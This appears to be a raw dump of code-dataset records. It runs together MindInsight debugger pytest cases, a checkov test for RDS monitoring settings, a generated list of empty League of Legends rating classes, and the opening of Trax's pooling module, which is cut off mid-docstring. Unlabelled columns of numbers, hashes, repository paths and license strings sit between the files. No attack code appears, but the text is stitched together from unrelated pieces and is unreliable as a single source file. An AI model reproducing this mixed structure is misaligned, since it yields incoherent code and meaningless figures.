@pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("body_data, expect_file", [ ({'mode': 'all'}, 'multi_retrieve_all.json'), ({'mode': 'node', 'params': {'name': 'Default', 'graph_name': 'graph_1'}}, 'retrieve_scope_node.json'), ({'mode': 'node', 'params': {'name': 'graph_0'}}, 'multi_retrieve_scope_node.json'), ({'mode': 'node', 'params': {'name': 'graph_0/Default/optimizer-Momentum/Parameter[18]_7'}}, 'multi_retrieve_aggregation_scope_node.json'), ({'mode': 'node', 'params': { 'name': 'graph_0/Default/TransData-op99', 'single_node': True}}, 'multi_retrieve_single_node.json'), ({'mode': 'node', 'params': { 'name': 'Default/TransData-op99', 'single_node': True, 'graph_name': 'graph_0'}}, 'retrieve_single_node.json') ]) def test_multi_retrieve_when_train_begin(self, app_client, body_data, expect_file): """Test retrieve when train_begin.""" url = 'retrieve' check_state(app_client, 'pending') with self._debugger_client.get_thread_instance(): check_state(app_client) if self.save_results: send_and_save_result(app_client, url, body_data, expect_file) send_and_compare_result(app_client, url, body_data, expect_file) send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("filter_condition, expect_file", [ ({'name': '', 'node_category': 'weight'}, 'search_weight_multi_graph.json'), ({'node_category': 'activation'}, 'search_activation_multi_graph.json'), ({'node_category': 'gradient'}, 'search_gradient_multi_graph.json') ]) def test_search_by_category_with_multi_graph(self, app_client, filter_condition, expect_file): """Test search by category request.""" with self._debugger_client.get_thread_instance(): check_state(app_client) if self.save_results: send_and_save_result(app_client, 'search', filter_condition, expect_file, method='get') send_and_compare_result(app_client, 'search', filter_condition, expect_file, method='get') send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("filter_condition, expect_id", [ ({'condition': {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]}, 'watch_nodes': ['Default/optimizer-Momentum/Parameter[18]_7'], 'graph_name': 'graph_0'}, 1), ({'condition': {'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]}, 'watch_nodes': ['graph_0/Default/optimizer-Momentum/ApplyMomentum[8]_1'], 'graph_name': None}, 1) ]) def test_create_watchpoint(self, app_client, filter_condition, expect_id): """Test create watchpoint with multiple graphs.""" url = 'create-watchpoint' with self._debugger_client.get_thread_instance(): check_state(app_client) res = get_request_result(app_client, url, filter_condition) assert res.get('id') == expect_id send_terminate_cmd(app_client) @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("params, expect_file", [ ({'level': 'node'}, 'multi_next_node.json'), ({'level': 'node', 'node_name': 'graph_0/Default/TransData-op99'}, 'multi_next_node.json'), ({'level': 'node', 'node_name': 'Default/TransData-op99', 'graph_name': 'graph_0'}, 'multi_next_node.json') ]) def test_continue_on_gpu(self, app_client, params, expect_file): """Test get next node on GPU.""" gpu_debugger_client = MockDebuggerClient(backend='GPU', graph_num=2) original_value = settings.ENABLE_RECOMMENDED_WATCHPOINTS settings.ENABLE_RECOMMENDED_WATCHPOINTS = True try: with gpu_debugger_client.get_thread_instance(): check_state(app_client) # send run command to get watchpoint hit url = 'control' body_data = {'mode': 'continue'} body_data.update(params) res = get_request_result(app_client, url, body_data) assert res == {'metadata': {'state': 'sending', 'enable_recheck': False}} # get metadata check_state(app_client) url = 'retrieve' body_data = {'mode': 'all'} if self.save_results: send_and_save_result(app_client, url, body_data, expect_file) send_and_compare_result(app_client, url, body_data, expect_file) send_terminate_cmd(app_client) finally: settings.ENABLE_RECOMMENDED_WATCHPOINTS = original_value @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("body_data, expect_file", [ ({'tensor_name': 'Default/TransData-op99:0', 'graph_name': 'graph_0'}, 'retrieve_tensor_hits-0.json'), ({'tensor_name': 'Default/optimizer-Momentum/Parameter[18]_7/moments.fc1.bias:0', 'graph_name': 'graph_0'}, 'retrieve_tensor_hits-1.json') ]) def test_retrieve_tensor_hits(self, app_client, body_data, expect_file): """Test retrieve tensor graph.""" url = 'tensor-hits' with self._debugger_client.get_thread_instance(): check_state(app_client) if self.save_results: send_and_save_result(app_client, url, body_data, expect_file, method='GET') send_and_compare_result(app_client, url, body_data, expect_file, method='GET') send_terminate_cmd(app_client) def create_watchpoint(app_client, condition, expect_id): """Create watchpoint.""" url = 'create-watchpoint' body_data = {'condition': condition, 'watch_nodes': ['Default/optimizer-Momentum/Parameter[18]_7', 'Default/optimizer-Momentum/Parameter[18]_7/moments.fc3.bias', 'Default/optimizer-Momentum/Parameter[18]_7/moments.fc1.bias', 'Default/TransData-op99']} res = get_request_result(app_client, url, body_data) assert res.get('id') == expect_id def create_watchpoint_and_wait(app_client): """Preparation for recheck.""" check_state(app_client) create_watchpoint(app_client, condition={'id': 'tensor_too_large', 'params': [{'name': 'max_gt', 'value': 1.0}]}, expect_id=1) # send run command to get watchpoint hit url = 'control' body_data = {'mode': 'continue', 'steps': 2} res = get_request_result(app_client, url, body_data) assert res == {'metadata': {'state': 'sending', 'enable_recheck': False}} # wait for server has received watchpoint hit check_state(app_client) class TestMismatchDebugger: """Test debugger when Mindinsight and Mindspore is mismatched.""" @classmethod def setup_class(cls): """Setup class.""" cls._debugger_client = MockDebuggerClient(backend='Ascend', ms_version='1.0.0') @pytest.mark.level0 @pytest.mark.env_single @pytest.mark.platform_x86_cpu @pytest.mark.platform_arm_ascend_training @pytest.mark.platform_x86_gpu_training @pytest.mark.platform_x86_ascend_training @pytest.mark.parametrize("body_data, expect_file", [ ({'mode': 'all'}, 'version_mismatch.json') ]) def test_retrieve_when_version_mismatch(self, app_client, body_data, expect_file): """Test retrieve when train_begin.""" url = 'retrieve' with self._debugger_client.get_thread_instance(): check_state(app_client, ServerStatus.MISMATCH.value) send_and_compare_result(app_client, url, body_data, expect_file) send_terminate_cmd(app_client)

46.586207

118

0.643341

4,244

35,126

4.983506

0.066211

0.069362

0.078298

0.068511

0.870213

0.83182

0.796501

0.787234

0.747376

0.731915

0

0.014629

0.233275

35,126

753

119

46.648074

0.770682

0.073279

0

0.743961

0

0.188981

0.071769

0

0.027375

1

0.05153

false

0

0.014493

0

0.072464

0

null

0

1

0

1

0

null

0

7

16959783b33886ea4ff18ef8af38797a771e28b5

3,511

py

Python

tests/terraform/checks/resource/aws/test_RDSEnhancedMonitorEnabled.py

jamesholland-uk/checkov

d73fd4bd7096d48ab3434a92a177bcc55605460a

[ "Apache-2.0" ]

4,013

2019-12-09T13:16:54.000Z

2022-03-31T14:31:01.000Z

tests/terraform/checks/resource/aws/test_RDSEnhancedMonitorEnabled.py

jamesholland-uk/checkov

d73fd4bd7096d48ab3434a92a177bcc55605460a

[ "Apache-2.0" ]

1,258

2019-12-17T09:55:51.000Z

2022-03-31T19:17:17.000Z

tests/terraform/checks/resource/aws/test_RDSEnhancedMonitorEnabled.py

jamesholland-uk/checkov

d73fd4bd7096d48ab3434a92a177bcc55605460a

[ "Apache-2.0" ]

638

2019-12-19T08:57:38.000Z

2022-03-30T21:38:37.000Z

import unittest import hcl2 from checkov.terraform.checks.resource.aws.RDSEnhancedMonitorEnabled import check from checkov.common.models.enums import CheckResult class TestRDSEnhancedMonitorEnabled(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "aws_db_instance" "default" { allocated_storage = 10 engine = "mysql" engine_version = "5.7" instance_class = "db.t3.micro" name = "mydb" username = "foo" password = "foobarbaz" parameter_group_name = "default.mysql5.7" skip_final_snapshot = true } """) resource_conf = hcl_res['resource'][0]['aws_db_instance']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "aws_db_instance" "default" { allocated_storage = 10 engine = "mysql" engine_version = "5.7" instance_class = "db.t3.micro" name = "mydb" username = "foo" password = "foobarbaz" parameter_group_name = "default.mysql5.7" skip_final_snapshot = true monitoring_interval = 0 } """) resource_conf = hcl_res['resource'][0]['aws_db_instance']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure3(self): hcl_res = hcl2.loads(""" resource "aws_db_instance" "default" { allocated_storage = 10 engine = "mysql" engine_version = "5.7" instance_class = "db.t3.micro" name = "mydb" username = "foo" password = "foobarbaz" parameter_group_name = "default.mysql5.7" skip_final_snapshot = true monitoring_interval = "5" } """) resource_conf = hcl_res['resource'][0]['aws_db_instance']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success1(self): hcl_res = hcl2.loads(""" resource "aws_db_instance" "default" { allocated_storage = 10 engine = "mysql" engine_version = "5.7" instance_class = "db.t3.micro" name = "mydb" username = "foo" password = "foobarbaz" parameter_group_name = "default.mysql5.7" skip_final_snapshot = true monitoring_interval = 5 } """) resource_conf = hcl_res['resource'][0]['aws_db_instance']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "aws_db_instance" "default" { allocated_storage = 10 engine = "mysql" engine_version = "5.7" instance_class = "db.t3.micro" name = "mydb" username = "foo" password = "foobarbaz" parameter_group_name = "default.mysql5.7" skip_final_snapshot = true monitoring_interval = 15 } """) resource_conf = hcl_res['resource'][0]['aws_db_instance']['default'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main()

32.813084

81

0.617488

381

3,511

5.396325

0.175853

0.087549

0.06323

0.097276

0.868191

0

0.021926

0.272572

3,511

106

82

33.122642

0.783085

0

0.78125

0

0.585019

0

0.052083

1

0.052083

false

0.072917

0.041667

0

0.104167

0

null

0

1

0

1

0

null

0

1

0

8

16ddc67b36536ffca2f69b35b29e9aa905e5bdd0

6,821

py

Python

loldib/getratings/models/NA/na_jarvaniv/na_jarvaniv_jng.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_jarvaniv/na_jarvaniv_jng.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_jarvaniv/na_jarvaniv_jng.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

from getratings.models.ratings import Ratings class NA_JarvanIV_Jng_Aatrox(Ratings): pass class NA_JarvanIV_Jng_Ahri(Ratings): pass class NA_JarvanIV_Jng_Akali(Ratings): pass class NA_JarvanIV_Jng_Alistar(Ratings): pass class NA_JarvanIV_Jng_Amumu(Ratings): pass class NA_JarvanIV_Jng_Anivia(Ratings): pass class NA_JarvanIV_Jng_Annie(Ratings): pass class NA_JarvanIV_Jng_Ashe(Ratings): pass class NA_JarvanIV_Jng_AurelionSol(Ratings): pass class NA_JarvanIV_Jng_Azir(Ratings): pass class NA_JarvanIV_Jng_Bard(Ratings): pass class NA_JarvanIV_Jng_Blitzcrank(Ratings): pass class NA_JarvanIV_Jng_Brand(Ratings): pass class NA_JarvanIV_Jng_Braum(Ratings): pass class NA_JarvanIV_Jng_Caitlyn(Ratings): pass class NA_JarvanIV_Jng_Camille(Ratings): pass class NA_JarvanIV_Jng_Cassiopeia(Ratings): pass class NA_JarvanIV_Jng_Chogath(Ratings): pass class NA_JarvanIV_Jng_Corki(Ratings): pass class NA_JarvanIV_Jng_Darius(Ratings): pass class NA_JarvanIV_Jng_Diana(Ratings): pass class NA_JarvanIV_Jng_Draven(Ratings): pass class NA_JarvanIV_Jng_DrMundo(Ratings): pass class NA_JarvanIV_Jng_Ekko(Ratings): pass class NA_JarvanIV_Jng_Elise(Ratings): pass class NA_JarvanIV_Jng_Evelynn(Ratings): pass class NA_JarvanIV_Jng_Ezreal(Ratings): pass class NA_JarvanIV_Jng_Fiddlesticks(Ratings): pass class NA_JarvanIV_Jng_Fiora(Ratings): pass class NA_JarvanIV_Jng_Fizz(Ratings): pass class NA_JarvanIV_Jng_Galio(Ratings): pass class NA_JarvanIV_Jng_Gangplank(Ratings): pass class NA_JarvanIV_Jng_Garen(Ratings): pass class NA_JarvanIV_Jng_Gnar(Ratings): pass class NA_JarvanIV_Jng_Gragas(Ratings): pass class NA_JarvanIV_Jng_Graves(Ratings): pass class NA_JarvanIV_Jng_Hecarim(Ratings): pass class NA_JarvanIV_Jng_Heimerdinger(Ratings): pass class NA_JarvanIV_Jng_Illaoi(Ratings): pass class NA_JarvanIV_Jng_Irelia(Ratings): pass class NA_JarvanIV_Jng_Ivern(Ratings): pass class NA_JarvanIV_Jng_Janna(Ratings): pass class NA_JarvanIV_Jng_JarvanIV(Ratings): pass class NA_JarvanIV_Jng_Jax(Ratings): pass class NA_JarvanIV_Jng_Jayce(Ratings): pass class NA_JarvanIV_Jng_Jhin(Ratings): pass class NA_JarvanIV_Jng_Jinx(Ratings): pass class NA_JarvanIV_Jng_Kalista(Ratings): pass class NA_JarvanIV_Jng_Karma(Ratings): pass class NA_JarvanIV_Jng_Karthus(Ratings): pass class NA_JarvanIV_Jng_Kassadin(Ratings): pass class NA_JarvanIV_Jng_Katarina(Ratings): pass class NA_JarvanIV_Jng_Kayle(Ratings): pass class NA_JarvanIV_Jng_Kayn(Ratings): pass class NA_JarvanIV_Jng_Kennen(Ratings): pass class NA_JarvanIV_Jng_Khazix(Ratings): pass class NA_JarvanIV_Jng_Kindred(Ratings): pass class NA_JarvanIV_Jng_Kled(Ratings): pass class NA_JarvanIV_Jng_KogMaw(Ratings): pass class NA_JarvanIV_Jng_Leblanc(Ratings): pass class NA_JarvanIV_Jng_LeeSin(Ratings): pass class NA_JarvanIV_Jng_Leona(Ratings): pass class NA_JarvanIV_Jng_Lissandra(Ratings): pass class NA_JarvanIV_Jng_Lucian(Ratings): pass class NA_JarvanIV_Jng_Lulu(Ratings): pass class NA_JarvanIV_Jng_Lux(Ratings): pass class NA_JarvanIV_Jng_Malphite(Ratings): pass class NA_JarvanIV_Jng_Malzahar(Ratings): pass class NA_JarvanIV_Jng_Maokai(Ratings): pass class NA_JarvanIV_Jng_MasterYi(Ratings): pass class NA_JarvanIV_Jng_MissFortune(Ratings): pass class NA_JarvanIV_Jng_MonkeyKing(Ratings): pass class NA_JarvanIV_Jng_Mordekaiser(Ratings): pass class NA_JarvanIV_Jng_Morgana(Ratings): pass class NA_JarvanIV_Jng_Nami(Ratings): pass class NA_JarvanIV_Jng_Nasus(Ratings): pass class NA_JarvanIV_Jng_Nautilus(Ratings): pass class NA_JarvanIV_Jng_Nidalee(Ratings): pass class NA_JarvanIV_Jng_Nocturne(Ratings): pass class NA_JarvanIV_Jng_Nunu(Ratings): pass class NA_JarvanIV_Jng_Olaf(Ratings): pass class NA_JarvanIV_Jng_Orianna(Ratings): pass class NA_JarvanIV_Jng_Ornn(Ratings): pass class NA_JarvanIV_Jng_Pantheon(Ratings): pass class NA_JarvanIV_Jng_Poppy(Ratings): pass class NA_JarvanIV_Jng_Quinn(Ratings): pass class NA_JarvanIV_Jng_Rakan(Ratings): pass class NA_JarvanIV_Jng_Rammus(Ratings): pass class NA_JarvanIV_Jng_RekSai(Ratings): pass class NA_JarvanIV_Jng_Renekton(Ratings): pass class NA_JarvanIV_Jng_Rengar(Ratings): pass class NA_JarvanIV_Jng_Riven(Ratings): pass class NA_JarvanIV_Jng_Rumble(Ratings): pass class NA_JarvanIV_Jng_Ryze(Ratings): pass class NA_JarvanIV_Jng_Sejuani(Ratings): pass class NA_JarvanIV_Jng_Shaco(Ratings): pass class NA_JarvanIV_Jng_Shen(Ratings): pass class NA_JarvanIV_Jng_Shyvana(Ratings): pass class NA_JarvanIV_Jng_Singed(Ratings): pass class NA_JarvanIV_Jng_Sion(Ratings): pass class NA_JarvanIV_Jng_Sivir(Ratings): pass class NA_JarvanIV_Jng_Skarner(Ratings): pass class NA_JarvanIV_Jng_Sona(Ratings): pass class NA_JarvanIV_Jng_Soraka(Ratings): pass class NA_JarvanIV_Jng_Swain(Ratings): pass class NA_JarvanIV_Jng_Syndra(Ratings): pass class NA_JarvanIV_Jng_TahmKench(Ratings): pass class NA_JarvanIV_Jng_Taliyah(Ratings): pass class NA_JarvanIV_Jng_Talon(Ratings): pass class NA_JarvanIV_Jng_Taric(Ratings): pass class NA_JarvanIV_Jng_Teemo(Ratings): pass class NA_JarvanIV_Jng_Thresh(Ratings): pass class NA_JarvanIV_Jng_Tristana(Ratings): pass class NA_JarvanIV_Jng_Trundle(Ratings): pass class NA_JarvanIV_Jng_Tryndamere(Ratings): pass class NA_JarvanIV_Jng_TwistedFate(Ratings): pass class NA_JarvanIV_Jng_Twitch(Ratings): pass class NA_JarvanIV_Jng_Udyr(Ratings): pass class NA_JarvanIV_Jng_Urgot(Ratings): pass class NA_JarvanIV_Jng_Varus(Ratings): pass class NA_JarvanIV_Jng_Vayne(Ratings): pass class NA_JarvanIV_Jng_Veigar(Ratings): pass class NA_JarvanIV_Jng_Velkoz(Ratings): pass class NA_JarvanIV_Jng_Vi(Ratings): pass class NA_JarvanIV_Jng_Viktor(Ratings): pass class NA_JarvanIV_Jng_Vladimir(Ratings): pass class NA_JarvanIV_Jng_Volibear(Ratings): pass class NA_JarvanIV_Jng_Warwick(Ratings): pass class NA_JarvanIV_Jng_Xayah(Ratings): pass class NA_JarvanIV_Jng_Xerath(Ratings): pass class NA_JarvanIV_Jng_XinZhao(Ratings): pass class NA_JarvanIV_Jng_Yasuo(Ratings): pass class NA_JarvanIV_Jng_Yorick(Ratings): pass class NA_JarvanIV_Jng_Zac(Ratings): pass class NA_JarvanIV_Jng_Zed(Ratings): pass class NA_JarvanIV_Jng_Ziggs(Ratings): pass class NA_JarvanIV_Jng_Zilean(Ratings): pass class NA_JarvanIV_Jng_Zyra(Ratings): pass

16.357314

46

0.776133

972

6,821

5.020576

0.151235

0.197951

0.42418

0.509016

0.814139

0

0.162879

6,821

416

47

16.396635

0.854641

0

0.498195

0

1

0

true

0.498195

0.00361

0

0.501805

0

null

0

1

0

null

0

1

0

1

0

7

bc3efdc61d000492e6f473f37bafb882cb6d04bf

26

py

Python

tools/Sikuli/ClickToVspomogatelnayaTab.sikuli/ClickToVspomogatelnayaTab.py

marmyshev/vanessa-automation

9f87bd6df58b4c205104d3ae8e3643752d67eef7

[ "BSD-3-Clause" ]

296

2018-05-27T08:03:14.000Z

2022-03-19T08:36:11.000Z

tools/Sikuli/ClickToVspomogatelnayaTab.sikuli/ClickToVspomogatelnayaTab.py

marmyshev/vanessa-automation

9f87bd6df58b4c205104d3ae8e3643752d67eef7

[ "BSD-3-Clause" ]

1,562

2018-05-27T18:36:25.000Z

2022-03-31T07:35:11.000Z

tools/Sikuli/ClickToVspomogatelnayaTab.sikuli/ClickToVspomogatelnayaTab.py

marmyshev/vanessa-automation

9f87bd6df58b4c205104d3ae8e3643752d67eef7

[ "BSD-3-Clause" ]

299

2018-06-18T20:00:56.000Z

2022-03-29T12:29:55.000Z

click("1538754420263.png")

26

0.807692

3

26

7

1

0

0.5

0

26

1

26

0.307692

0

0.62963

0

1

0

true

0

1

0

null

0

1

0

1

0

1

0

1

0

null

0

1

0

7

bc403a4b8b16c4c6b30ec82a01a4e757087f1661

6,269

py

Python

loldib/getratings/models/NA/na_ashe/na_ashe_top.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_ashe/na_ashe_top.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_ashe/na_ashe_top.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

from getratings.models.ratings import Ratings class NA_Ashe_Top_Aatrox(Ratings): pass class NA_Ashe_Top_Ahri(Ratings): pass class NA_Ashe_Top_Akali(Ratings): pass class NA_Ashe_Top_Alistar(Ratings): pass class NA_Ashe_Top_Amumu(Ratings): pass class NA_Ashe_Top_Anivia(Ratings): pass class NA_Ashe_Top_Annie(Ratings): pass class NA_Ashe_Top_Ashe(Ratings): pass class NA_Ashe_Top_AurelionSol(Ratings): pass class NA_Ashe_Top_Azir(Ratings): pass class NA_Ashe_Top_Bard(Ratings): pass class NA_Ashe_Top_Blitzcrank(Ratings): pass class NA_Ashe_Top_Brand(Ratings): pass class NA_Ashe_Top_Braum(Ratings): pass class NA_Ashe_Top_Caitlyn(Ratings): pass class NA_Ashe_Top_Camille(Ratings): pass class NA_Ashe_Top_Cassiopeia(Ratings): pass class NA_Ashe_Top_Chogath(Ratings): pass class NA_Ashe_Top_Corki(Ratings): pass class NA_Ashe_Top_Darius(Ratings): pass class NA_Ashe_Top_Diana(Ratings): pass class NA_Ashe_Top_Draven(Ratings): pass class NA_Ashe_Top_DrMundo(Ratings): pass class NA_Ashe_Top_Ekko(Ratings): pass class NA_Ashe_Top_Elise(Ratings): pass class NA_Ashe_Top_Evelynn(Ratings): pass class NA_Ashe_Top_Ezreal(Ratings): pass class NA_Ashe_Top_Fiddlesticks(Ratings): pass class NA_Ashe_Top_Fiora(Ratings): pass class NA_Ashe_Top_Fizz(Ratings): pass class NA_Ashe_Top_Galio(Ratings): pass class NA_Ashe_Top_Gangplank(Ratings): pass class NA_Ashe_Top_Garen(Ratings): pass class NA_Ashe_Top_Gnar(Ratings): pass class NA_Ashe_Top_Gragas(Ratings): pass class NA_Ashe_Top_Graves(Ratings): pass class NA_Ashe_Top_Hecarim(Ratings): pass class NA_Ashe_Top_Heimerdinger(Ratings): pass class NA_Ashe_Top_Illaoi(Ratings): pass class NA_Ashe_Top_Irelia(Ratings): pass class NA_Ashe_Top_Ivern(Ratings): pass class NA_Ashe_Top_Janna(Ratings): pass class NA_Ashe_Top_JarvanIV(Ratings): pass class NA_Ashe_Top_Jax(Ratings): pass class NA_Ashe_Top_Jayce(Ratings): pass class NA_Ashe_Top_Jhin(Ratings): pass class NA_Ashe_Top_Jinx(Ratings): pass class NA_Ashe_Top_Kalista(Ratings): pass class NA_Ashe_Top_Karma(Ratings): pass class NA_Ashe_Top_Karthus(Ratings): pass class NA_Ashe_Top_Kassadin(Ratings): pass class NA_Ashe_Top_Katarina(Ratings): pass class NA_Ashe_Top_Kayle(Ratings): pass class NA_Ashe_Top_Kayn(Ratings): pass class NA_Ashe_Top_Kennen(Ratings): pass class NA_Ashe_Top_Khazix(Ratings): pass class NA_Ashe_Top_Kindred(Ratings): pass class NA_Ashe_Top_Kled(Ratings): pass class NA_Ashe_Top_KogMaw(Ratings): pass class NA_Ashe_Top_Leblanc(Ratings): pass class NA_Ashe_Top_LeeSin(Ratings): pass class NA_Ashe_Top_Leona(Ratings): pass class NA_Ashe_Top_Lissandra(Ratings): pass class NA_Ashe_Top_Lucian(Ratings): pass class NA_Ashe_Top_Lulu(Ratings): pass class NA_Ashe_Top_Lux(Ratings): pass class NA_Ashe_Top_Malphite(Ratings): pass class NA_Ashe_Top_Malzahar(Ratings): pass class NA_Ashe_Top_Maokai(Ratings): pass class NA_Ashe_Top_MasterYi(Ratings): pass class NA_Ashe_Top_MissFortune(Ratings): pass class NA_Ashe_Top_MonkeyKing(Ratings): pass class NA_Ashe_Top_Mordekaiser(Ratings): pass class NA_Ashe_Top_Morgana(Ratings): pass class NA_Ashe_Top_Nami(Ratings): pass class NA_Ashe_Top_Nasus(Ratings): pass class NA_Ashe_Top_Nautilus(Ratings): pass class NA_Ashe_Top_Nidalee(Ratings): pass class NA_Ashe_Top_Nocturne(Ratings): pass class NA_Ashe_Top_Nunu(Ratings): pass class NA_Ashe_Top_Olaf(Ratings): pass class NA_Ashe_Top_Orianna(Ratings): pass class NA_Ashe_Top_Ornn(Ratings): pass class NA_Ashe_Top_Pantheon(Ratings): pass class NA_Ashe_Top_Poppy(Ratings): pass class NA_Ashe_Top_Quinn(Ratings): pass class NA_Ashe_Top_Rakan(Ratings): pass class NA_Ashe_Top_Rammus(Ratings): pass class NA_Ashe_Top_RekSai(Ratings): pass class NA_Ashe_Top_Renekton(Ratings): pass class NA_Ashe_Top_Rengar(Ratings): pass class NA_Ashe_Top_Riven(Ratings): pass class NA_Ashe_Top_Rumble(Ratings): pass class NA_Ashe_Top_Ryze(Ratings): pass class NA_Ashe_Top_Sejuani(Ratings): pass class NA_Ashe_Top_Shaco(Ratings): pass class NA_Ashe_Top_Shen(Ratings): pass class NA_Ashe_Top_Shyvana(Ratings): pass class NA_Ashe_Top_Singed(Ratings): pass class NA_Ashe_Top_Sion(Ratings): pass class NA_Ashe_Top_Sivir(Ratings): pass class NA_Ashe_Top_Skarner(Ratings): pass class NA_Ashe_Top_Sona(Ratings): pass class NA_Ashe_Top_Soraka(Ratings): pass class NA_Ashe_Top_Swain(Ratings): pass class NA_Ashe_Top_Syndra(Ratings): pass class NA_Ashe_Top_TahmKench(Ratings): pass class NA_Ashe_Top_Taliyah(Ratings): pass class NA_Ashe_Top_Talon(Ratings): pass class NA_Ashe_Top_Taric(Ratings): pass class NA_Ashe_Top_Teemo(Ratings): pass class NA_Ashe_Top_Thresh(Ratings): pass class NA_Ashe_Top_Tristana(Ratings): pass class NA_Ashe_Top_Trundle(Ratings): pass class NA_Ashe_Top_Tryndamere(Ratings): pass class NA_Ashe_Top_TwistedFate(Ratings): pass class NA_Ashe_Top_Twitch(Ratings): pass class NA_Ashe_Top_Udyr(Ratings): pass class NA_Ashe_Top_Urgot(Ratings): pass class NA_Ashe_Top_Varus(Ratings): pass class NA_Ashe_Top_Vayne(Ratings): pass class NA_Ashe_Top_Veigar(Ratings): pass class NA_Ashe_Top_Velkoz(Ratings): pass class NA_Ashe_Top_Vi(Ratings): pass class NA_Ashe_Top_Viktor(Ratings): pass class NA_Ashe_Top_Vladimir(Ratings): pass class NA_Ashe_Top_Volibear(Ratings): pass class NA_Ashe_Top_Warwick(Ratings): pass class NA_Ashe_Top_Xayah(Ratings): pass class NA_Ashe_Top_Xerath(Ratings): pass class NA_Ashe_Top_XinZhao(Ratings): pass class NA_Ashe_Top_Yasuo(Ratings): pass class NA_Ashe_Top_Yorick(Ratings): pass class NA_Ashe_Top_Zac(Ratings): pass class NA_Ashe_Top_Zed(Ratings): pass class NA_Ashe_Top_Ziggs(Ratings): pass class NA_Ashe_Top_Zilean(Ratings): pass class NA_Ashe_Top_Zyra(Ratings): pass

15.033573

46

0.75642

972

6,269

4.452675

0.151235

0.223198

0.350739

0.446396

0.791359

0

0.177221

6,269

416

47

15.069712

0.839085

0

0.498195

0

1

0

true

0.498195

0.00361

0

0.501805

0

null

1

0

1

0

null

0

1

0

1

0

7

bc51bb9cd16c2096246912547271549df21671c1

110

py

Python

deeptensor/summary/__init__.py

cicicici/deeptensor

efcd7b9ca2d758cb2461b64fa5ba1268685e4dab

[ "MIT" ]

1

2018-04-04T09:00:45.000Z

deeptensor/summary/__init__.py

cicicici/deeptensor

efcd7b9ca2d758cb2461b64fa5ba1268685e4dab

[ "MIT" ]

null

deeptensor/summary/__init__.py

cicicici/deeptensor

efcd7b9ca2d758cb2461b64fa5ba1268685e4dab

[ "MIT" ]

null

from .summary import patch_add_dt, patch_clear_dt, summary_model_patch, summary_model_fwd, summary_model_wass

55

109

0.881818

18

110

4.833333

0.555556

0.413793

0

0.072727

110

1

110

0.852941

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

1

0

null

0

1

0

1

0

1

0

7

bc67f4523a9accfcbeba8b4e99b2ef2984093c9b

5,477

py

Python

trax/layers/pooling.py

tomweingarten/trax

e5c99ed35692eba854283304c5f91fa4304e98a5

[ "Apache-2.0" ]

1

2021-04-05T09:55:37.000Z

trax/layers/pooling.py

e7dud7e/trax

20ee40ff9c7c55ba8507a71967806a4438f587e7

[ "Apache-2.0" ]

null

trax/layers/pooling.py

e7dud7e/trax

20ee40ff9c7c55ba8507a71967806a4438f587e7

[ "Apache-2.0" ]

null

# coding=utf-8 # Copyright 2020 The Trax Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Lint as: python3 """Trax pooling layers.""" from trax import math from trax.layers.base import Fn # pylint: disable=invalid-name def MaxPool(pool_size=(2, 2), strides=None, padding='VALID'): """Reduces each multi-dimensional window to the max of the window's values. Windows, as specified by `pool_size` and `strides`, involve all axes of an n-dimensional array except the first and last: :math:`(d_1, ..., d_{n-2})` from shape :math:`(d_0, d_1, ..., d_{n-2}, d_{n-1})`. Args: pool_size: Shape of window that gets reduced to a single vector value. If the layer inputs are :math:`n`-dimensional arrays, then `pool_size` must be a tuple of length :math:`n-2`. strides: Offsets from the location of one window to the locations of neighboring windows along each axis. If specified, must be a tuple 